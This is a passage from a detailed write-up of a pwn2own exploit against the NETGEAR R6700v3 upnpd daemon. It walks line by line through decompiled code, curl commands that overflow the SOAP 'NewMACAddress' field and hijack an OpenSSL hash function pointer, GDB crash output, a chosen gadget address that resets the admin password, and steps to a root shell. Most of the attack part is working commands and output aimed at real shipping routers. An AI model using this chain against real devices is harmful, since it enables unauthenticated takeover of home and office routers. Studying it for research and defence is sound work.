static ERR_STRING_DATA * int_err_get_item(const ERR_STRING_DATA * d)
{
ERR_STRING_DATA* p;
LHASH_OF(ERR_STRING_DATA)* hash;
err_fns_check();
hash = ERRFN(err_get) (0);
if (!hash)
return NULL;
CRYPTO_r_lock(CRYPTO_LOCK_ERR);
p = lh_ERR_STRING_DATA_retrieve(hash, d);
CRYPTO_r_unlock(CRYPTO_LOCK_ERR);
return p;
}
#define lh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)
#define LHM_lh_retrieve(type, lh, inst) \
((type *)lh_retrieve(CHECKED_LHASH_OF(type, lh), \
CHECKED_PTR_OF(type, inst)))
// .\openssl-1.0.2h\crypto\lhash\lhash.c:241
void* lh_retrieve(_LHASH * lh, const void* data)
{
unsigned long hash;
LHASH_NODE** rn;
void* ret;
lh->error = 0;
rn = getrn(lh, data, &hash);
if (*rn == NULL) {
lh->num_retrieve_miss++;
return (NULL);
} else {
ret = (*rn)->data;
lh->num_retrieve++;
}
return (ret);
}
// .\openssl-1.0.2h\crypto\lhash\lhash.c:390
static LHASH_NODE** getrn(_LHASH* lh, const void* data, unsigned long* rhash)
{
LHASH_NODE** ret, * n1;
unsigned long hash, nn;
LHASH_COMP_FN_TYPE cf;
hash = (*(lh->hash))(data);
Line by line:
void ERR_print_errors_fp(FILE* fp)is the function that prints OpenSSL errors to a file.FILE*is a handle to an open file.ERR_print_errors_cb(print_fp, fp);passes the work to a callback version. A callback is a function you hand to another function so it can be called later.void ERR_print_errors_cb(int (*cb) (const char* str, size_t len, void* u), void* u)takes a callback function pointercband a user pointeru.char buf[256];andchar buf2[4096];are local buffers for building the message text.CRYPTO_THREADID_current(&cur);andes = CRYPTO_THREADID_hash(&cur);get an identifier for the current thread, a thread being one line of execution inside a program.while ((l = ERR_get_error_line_data(&file, &line, &data, &flags)) != 0) {loops over each pending error until none are left.ERR_error_string_n(l, buf, sizeof buf);turns the numeric error code into readable text.BIO_snprintf(buf2, sizeof(buf2), ...)formats the final message intobuf2.if (cb(buf2, strlen(buf2), u) <= 0) break;calls the callback and stops if it asks to stop.void ERR_error_string_n(unsigned long e, char* buf, size_t len)is the function that builds the readable text.l = ERR_GET_LIB(e); f = ERR_GET_FUNC(e); r = ERR_GET_REASON(e);split the error code into its parts: which library, which function, which reason.ls = ERR_lib_error_string(e);looks up the library name, which is where the hash map comes in.const char* ERR_lib_error_string(unsigned long e)is the lookup function.d.error = ERR_PACK(l, 0, 0);builds a key from the library number.p = ERRFN(err_get_item) (&d);calls the function that looks the key up in the hash map.static ERR_STRING_DATA * int_err_get_item(const ERR_STRING_DATA * d)is that lookup function.hash = ERRFN(err_get) (0);gets the hash map itself.p = lh_ERR_STRING_DATA_retrieve(hash, d);asks the hash map for the entry matching the key.#define lh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)is a macro that renames the call.#define LHM_lh_retrieve(type, lh, inst)is another macro that expands to a call tolh_retrieve.void* lh_retrieve(_LHASH * lh, const void* data)is the real lookup function.rn = getrn(lh, data, &hash);callsgetrnto find the right bucket in the table.static LHASH_NODE** getrn(_LHASH* lh, const void* data, unsigned long* rhash)is the function that computes the hash.hash = (*(lh->hash))(data);calls the function pointer stored in the_LHASHstructure. This is the line that jumps to whatever address the attacker wrote into that pointer.
A call to ERR_print_errors_fp exists in upnpd!upnp_main, reached when an HTTPS connection to port 5555 fails the TLS/SSL handshake during SSL_accept. A handshake is the opening exchange where client and server agree on encryption; if the client sends something that is not a valid TLS hello, the handshake fails and the error path runs.
// upnpd!func_0x1B630+0x400
log(2, "%s(%d): port=%d\r\n", "upnp_main", 1083, 5555);
client_socket = accept(data_0x66B24 + 0x8, &local_0x50, &local_0x30);
if (client_socket < 0) {
log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n", "upnp_main", 1087, 5555);
// ...
} else {
ssl = SSL_new(data_0x9090C);
data_0x90910 = ssl;
SSL_set_fd(ssl, client_socket);
log(2, "%s(%d)before ssl accept, acceptfd is %d \n", "upnp_main", 1093, client_socket);
res = SSL_accept(data_0x90910);
SSL_get_error(data_0x90910, res);
if (res == 0 || res < 0) {
ERR_print_errors_fp(__bss_start__);
Line by line:
log(2, "%s(%d): port=%d\r\n", "upnp_main", 1083, 5555);writes a log line saying the program is about to listen on port 5555.client_socket = accept(data_0x66B24 + 0x8, &local_0x50, &local_0x30);waits for an incoming connection and returns a socket, a handle for the connection.if (client_socket < 0) {handles the case where accepting the connection failed.ssl = SSL_new(data_0x9090C);creates a new TLS session object.SSL_set_fd(ssl, client_socket);ties that session to the accepted connection.res = SSL_accept(data_0x90910);performs the server side of the TLS handshake.SSL_get_error(data_0x90910, res);records what went wrong.if (res == 0 || res < 0) {checks whether the handshake failed.ERR_print_errors_fp(__bss_start__);prints the OpenSSL error, which walks the chain above and calls the overwrittenhashpointer.
So an invalid HTTPS connection to port 5555 after the overflow gives control of the program counter. Two curl commands demonstrate it: the first performs the overflow, the second triggers the call to the overwritten function pointer. curl is a command-line tool for sending HTTP requests, useful for testing a service by hand.
curl http://[redacted]:5000/soap/server_sa -X POST -H "SOAPAction: \"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\"" --data "<NewMACAddress>$(printf 'A%.0s' {1..7500})BBBBCCCCDDDD</NewMACAddress>"
curl http://[redacted]:5555/
Line by line:
curl http://[redacted]:5000/soap/server_sasends a request to the router's SOAP endpoint on port 5000.-X POSTmakes it a POST request, the method used to send data.-H "SOAPAction: \"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\""adds the header that tells the handler which service the request is for.--data "<NewMACAddress>$(printf 'A%.0s' {1..7500})BBBBCCCCDDDD</NewMACAddress>"sets the request body.$(printf 'A%.0s' {1..7500})is a shell trick that produces 7500 letterAcharacters, followed byBBBBCCCCDDDD, all wrapped in the XML tag.- The second command,
curl http://[redacted]:5555/, opens a plain HTTP connection to the HTTPS port. The handshake fails, and the error path calls the overwritten pointer.
The first request sends a NewMACAddress value of 7500 A characters followed by BBBBCCCCDDDD, reaching the _LHASH structure at offset 7500. The second request opens a plain HTTP connection to the HTTPS port, the handshake fails, and the error path calls the overwritten pointer.
With GDB attached, the crash shows the four D characters in the program counter. 0x44 is the hexadecimal value of the letter D, so 0x44444444 is literally DDDD read as a number:
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0 0xbed5ca78 3201682040
r1 0xbed5ca78 3201682040
r2 0x0 0
r3 0x44444444 1145324612
r4 0x40312e58 1076964952
r5 0xdcd58 904536
r6 0x6b0c 27404
r7 0xbed5ca78 3201682040
r8 0xbed5ca78 3201682040
r9 0x100 256
r10 0xbed5dcb8 3201686712
r11 0x402811a0 1076367776
r12 0x0 0
sp 0xbed5ca40 0xbed5ca40
lr 0x4027c74c 1076348748
pc 0x44444444 0x44444444
cpsr 0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x44444444 0x00000500
0xdcd68: 0x00000800 0x00000137 0x00000400 0x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
0x4027c72c: mov r2, #0
0x4027c730: push {r3, r4, r5, r6, r7, r8, r10, lr}
0x4027c734: mov r5, r0
0x4027c738: ldr r3, [r0, #8]
0x4027c73c: mov r8, r1
0x4027c740: str r2, [r0, #92] ; 0x5c
0x4027c744: mov r0, r1
0x4027c748: blx r3
Line by line:
Program received signal SIGSEGV, Segmentation fault.means the program tried to access memory it is not allowed to, and the operating system stopped it. This is the crash.0x44444444 in ?? ()shows the program counter at the moment of the crash: it is trying to run code at address0x44444444, which is theDDDDthe attacker sent.(gdb) i rasks GDB to show the registers.r0tor12are general-purpose registers,spis the stack pointer (where the current function's local data lives),lris the link register (the return address),pcis the program counter, andcpsrholds processor status flags.r3 0x44444444shows the attacker value also sitting in registerr3.pc 0x44444444confirms the processor is trying to execute at the attacker-chosen address.(gdb) x/8x $r5shows 8 hexadecimal words starting at the address held inr5. The output shows0x42424242 0x43434343 0x44444444, which isBBBB,CCCC,DDDDin memory, confirming the overflow landed where expected.(gdb) btprints the backtrace, the list of function calls that led to the crash. Frame#0is the crash itself, and frame#1is the caller at0x4027c74c.(gdb) x/8i 0x4027c74c-0x20shows the 8 instructions just before that return address, so you can see how control was transferred.blx r3is the instruction that jumps to the address held inr3, which is the attacker value.blxmeans branch with link and exchange, a jump that also saves a return address and can switch instruction set.
The return address in the backtrace, 0x4027c74c, is the instruction after a blx r3 that transfers control to the attacker-controlled value. The report notes this originates from /lib/libcrypto.so.1.0.0!lh_retrieve, with the compiler having chosen to inline getrn. Inlining means the compiler copies a small function's body directly into its caller instead of making a separate call, which is why the backtrace shows lh_retrieve rather than getrn.
Step 2: Choosing the target gadget
With execution control, the next step is to decide where to jump. A gadget, in this context, is a short sequence of existing instructions in the program that does something useful when jumped into. Since GLOBAL_NewMACAddress is adjacent to GLOBAL_new_http_passwd, the variable used to change the admin password, the report examines how that variable is consumed. In upnpd!func_0x289C8+0x10, the variable is passed to acosNvramConfig_set to set http_passwd in the router's NVRAM configuration:
// upnpd!func_0x289C8+0x10
if (p1 < 7) {
if (p1 == 1) {
acosNvramConfig_get("http_passwd");
log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2);
v1 = strcmp(&data_0xDA318, __s2);
if (v1 != 0) {
log(3, "%s:%d\n", "sa_updateAdminPassword", 8832);
return 20001;
}
log(3, "%s:%d\n", "sa_updateAdminPassword", 8829);
acosNvramConfig_set("http_passwd", &GLOBAL_new_http_passwd);
return 0;
}
Line by line:
if (p1 < 7) {checks that the requested operation number is in range.if (p1 == 1) {selects the operation that updates the admin password.strcmpreturns zero when two strings are identical.acosNvramConfig_set("http_passwd", &GLOBAL_new_http_passwd);writes the new password from the global variable into NVRAM. This is the line the attack wants to reach.return 0;reports success.
The disassembly of the call, starting at VA 0x00028A74, loads the two arguments into r0 and r1 before branching to acosNvramConfig_set. Disassembly is the process of turning machine code back into readable assembly instructions:
.text:0x00028A74 4C019FE5 ldr r0, [data_0x28BC8] ; "http_passwd"
.text:0x00028A78 5C119FE5 ldr r1, [data_0x28BDC] ; GLOBAL_new_http_passwd
.text:0x00028A7C CB8AFFEB bl acosNvramConfig_set
Line by line:
.text:0x00028A74is the address of the instruction, in the.textsection, which is where executable code lives.ldr r0, [data_0x28BC8]loads the address of the string"http_passwd"into registerr0, the first argument to the function.ldr r1, [data_0x28BDC]loads the address ofGLOBAL_new_http_passwdinto registerr1, the second argument.bl acosNvramConfig_setbranches to the function that writes the setting.blmeans branch with link, a function call.
Because upnpd is not PIE, 0x00028A74 is a fixed address. Overwriting the _LHASH::hash pointer with that value, then overflowing a second time to place a chosen password in GLOBAL_new_http_passwd, and finally making an invalid HTTPS connection to port 5555, redirects execution to the code that writes the password into NVRAM.
The vulnerable function at upnpd!func_0x3C784 null-terminates GLOBAL_NewMACAddress during the overflow, which allows a value containing a null byte to be written. This matters because the target address 0x00028A74 itself contains a null byte, and on the little-endian device that null is the terminator character written by the overflow. Little-endian is a way of storing multi-byte numbers where the least significant byte comes first in memory, so the bytes of the address appear in reverse order compared with how you write the number.
Step 3: Taking over the device
With http_passwd set to an attacker-controlled value, the attacker can log into the router's web interface. At that point the device is fully controlled, and telnetenable.py can be used to obtain a root shell if one is needed. A root shell is a command line with the highest privileges on the device, able to change anything.
Root cause
The destination is a global in .bss, so the write corrupts adjacent globals, including GLOBAL_new_http_passwd, and continues into the heap that follows the binary in memory.
Several properties of the build and platform turn a memory corruption into reliable code execution:
upnpdis not built as PIE, so.bssand the code are at fixed addresses.- The kernel uses
randomize_va_space = 1, which leaves the main binary and the heap unrandomised. - The heap is mapped directly after the binary, and early OpenSSL allocations, including the
_LHASHstructure, occur in a fixed order before any external traffic is accepted, so their offsets are stable. - The error path in
upnp_maincallsERR_print_errors_fpon a failed TLS handshake, which reaches the overwrittenhashfunction pointer through the OpenSSL error-string lookup chain. - The overflow's null terminator lets the attacker write a value containing a null byte, which is needed for the chosen gadget address.
Impact
An unauthenticated attacker on the LAN side of the router can overflow the buffer and, as demonstrated against the R6700v3, redirect execution to set the admin password to a value of their choosing. Logging in with that password gives full control of the device, and a root shell can be obtained with telnetenable.py. The same daemon is shipped and enabled by default on the 22 models listed above, so the exposure is not limited to the R6700v3. The report describes the exploit as performed from the LAN side during pwn2own; it does not state whether the same path is reachable from the WAN side.
Fix
The report does not describe the vendor's patch. NETGEAR published the issue as PSV-2021-0323, and the ZDI advisory is ZDI-22-519;
Variants to test
- Other SOAP services on the same endpoint. Send POST requests to
/soap/server_sawithSOAPActionvalues for other services and look for handlers that copy XML element values into fixed-size globals. A positive result is a crash or corrupted adjacent state when a value longer than the destination is supplied. - Other length-confused copies. Search the
upnpdbinary forstrncpycalls where the length argument derives from the parsed request rather than fromsizeofof the destination. A positive result is a controllable write past a global or stack buffer. - Heap adjacency assumptions. On other NETGEAR models, check whether the binary is PIE and whether
randomize_va_spaceleaves the heap unrandomised. A positive result is a stable offset between an overflowed global and a heap structure containing a function pointer. - Error-path triggers. Look for other code paths that call
ERR_print_errors_fpor otherwise reachlh_retrieveafter a failed TLS handshake. A positive result is control of the program counter through an overwritten_LHASH::hashpointer. - Password globals. Check whether other handlers write attacker-influenced data into globals that are later passed to
acosNvramConfig_set. A positive result is a change to an NVRAM setting such ashttp_passwdwithout authentication.
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of requests a service accepts.
- ASLR (address space layout randomisation): a defence that shuffles where things sit in memory each time a program starts, so attackers cannot rely on fixed addresses.
- Backtrace: the list of function calls that led to the current point in a program, shown by a debugger.
- binwalk: a tool that scans a firmware file and extracts the filesystems inside it.
- Buffer: a fixed-size area of memory reserved to hold data.
- Buffer overflow: writing more data into a buffer than it can hold, so the extra data spills into neighbouring memory.
- Callback: a function passed to another function so it can be called later.
- curl: a command-line tool for sending HTTP requests.
- Daemon: a program that runs in the background, without a window, waiting for requests.
- Debugger: a tool that lets you pause a running program, inspect its memory and registers, and step through instructions.
- Disassembly: turning machine code back into readable assembly instructions.
- Endpoint: a specific URL path that a service responds to.
- Firmware: the software image flashed onto a device, containing its operating system and programs.
- Function pointer: a variable that holds the address of a function, so the program can choose at runtime which function to call.
- Gadget: a short sequence of existing instructions in a program that does something useful when jumped into.
- GDB: the GNU debugger, a tool for inspecting and controlling running programs.
- Handshake: the opening exchange between client and server where they agree on encryption.
- Hash map: a data structure that stores key-value pairs and finds a value quickly from its key.
- Header: extra information sent alongside an HTTP request, like a label on an envelope.
- Heap: the region of memory a program uses for data it creates while running.
- Hexadecimal: a base-16 way of writing numbers, often used for memory addresses.
- HTTP: the ordinary web protocol used to request and send pages and data.
- HTTPS: HTTP wrapped in encryption (TLS/SSL).
- Inlining: the compiler copying a small function's body directly into its caller instead of making a separate call.
- LAN: local area network, the inside of a home or office network.
- Little-endian: a way of storing multi-byte numbers where the least significant byte comes first in memory.
- Macro: a piece of text the compiler swaps in for a name before building the program.
- malloc: a standard function that hands out chunks of memory on request.
- NVRAM: a small persistent storage area on a router that keeps settings across reboots.
- Offset: a distance in bytes from one place in memory to another.
- Parsing: reading text and pulling out the pieces the program cares about.
- PIE (position independent executable): a build option that makes a program able to load at a random address.
- Pointer: a memory address, a number that says where in memory something starts.
- Port: a numbered door on a machine that a particular service listens on.
- POST request: the HTTP method used to send data to a server.
- Program counter (PC): the register that holds the address of the next instruction the processor will run.
- pwn2own: a hacking contest where researchers demonstrate exploits against real devices.
- Register: a tiny, very fast storage slot inside the processor.
- Root shell: a command line with the highest privileges on a device, able to change anything.
- SOAP: an older style of web API where request and response bodies are XML documents.
- Squashfs: a compressed, read-only filesystem format commonly used in embedded devices.
- Stack: the region of memory that holds a function's local data and return addresses.
- strncpy: a standard function that copies a fixed number of bytes from one place to another.
- Telnet: an old, simple way to get a text command line on a remote machine.
- TLS/SSL: the encryption layer that turns HTTP into HTTPS.
- UPnP (Universal Plug and Play): a feature that lets devices on a home network find each other and talk without setup.
- upnpd: the Universal Plug and Play daemon, the background program that implements UPnP on the router.
- Virtual address (VA): the address a program uses to refer to memory, which the operating system maps to real memory.
- WAN: wide area network, the internet side of a router.
- XML: a text format that uses tags like
<name>value</name>to label data. - Zero Day Initiative (ZDI): an organisation that buys and publishes vulnerability reports and advisories.
.bsssection: the part of a program's memory that holds global variables which start out empty or zero..textsection: the part of a program's memory that holds executable code.